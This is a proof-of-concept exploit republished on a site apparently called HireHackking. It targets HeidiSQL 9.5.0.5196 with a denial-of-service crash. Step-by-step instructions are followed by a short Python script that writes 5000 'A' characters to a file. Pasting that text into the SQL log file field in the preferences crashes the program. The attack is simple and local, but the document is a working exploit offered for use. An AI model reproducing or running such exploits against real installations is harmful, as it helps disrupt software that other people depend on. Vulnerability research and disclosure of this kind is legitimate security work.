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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: HeidiSQL 9.5.0.5196 - Denial of Service (PoC)
# Discovery by: Victor Mondragón
# Discovery Date: 2018-11-06
# Vendor Homepage: https://www.heidisql.com/
# Software Link: https://www.heidisql.com/download.php
# Tested Version: 9.5.0.5196
# Tested on: Windows 10 Single Language x64 / Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: HeidiSQL 9.5.0.5196.py
#2.- Open bd.txt and copy content to clipboard
#2.- Open HeidiSQL
#3.- Select "More"
#4.- Select "Preferences" > "Logging"
#5.- Select "Write SQL log to file" and Paste ClipBoard
#6.- Click on "OK"
#7.- Crashed

cod = "\x41" * 5000

f = open('bd.txt', 'w')
f.write(cod)
f.close()